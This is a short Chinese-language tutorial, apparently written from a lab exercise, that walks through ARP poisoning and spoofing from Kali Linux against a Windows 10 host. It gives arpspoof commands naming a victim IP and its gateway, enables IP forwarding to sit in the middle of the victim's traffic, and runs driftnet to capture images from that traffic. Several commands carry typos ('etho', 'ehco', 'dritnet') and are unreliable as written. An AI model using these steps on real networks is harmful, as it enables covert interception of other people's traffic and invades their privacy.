实施ARP攻击和欺骗

实施ARP攻击和欺骗

一、环境

1.kali Linux

• 安装一个arpspoof

2.Win10

• 被攻击主机

二、kali配置

kali linux 系统是基于debian linux系统，采用的是deb包管理方式，可以使用apt源的方式进行直接从源安装

1.配资源

2.安装工具

• dsniff
• 需要安装kali的网络源并 apt-get update

arp攻击

arpspoof -i etho -t 192.168.230.128 192.168.230.2
#-i 用来指定网卡
#eth0是网卡的名字
#-t用来指定攻击目标主机
#192.168.230.128是被攻击主机的IP地址
#192.168.230.2是被攻击主机的网关地址

这样就可以对被攻击主机进行持续攻击，但是一旦停下来，新的正确arp就会挤掉我的攻击arp，所以在这里我们还有arp欺骗

arp欺骗

在进行arp攻击的基础上加上欺骗

ehco 1 >> /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 192.168.230.128 192.168.230.2

#ehco 1 将1 输出
# >> 将前面的数据，追加在后面的文件当中
# > 把后面文件中的数据全部删除，然后再将前面的数据写入后面的文件中

还有一个工具用来监听流量是抓取图片的，dritnet

打开方式 driftnet -i eth0 抓取某张网卡上的流量中的图片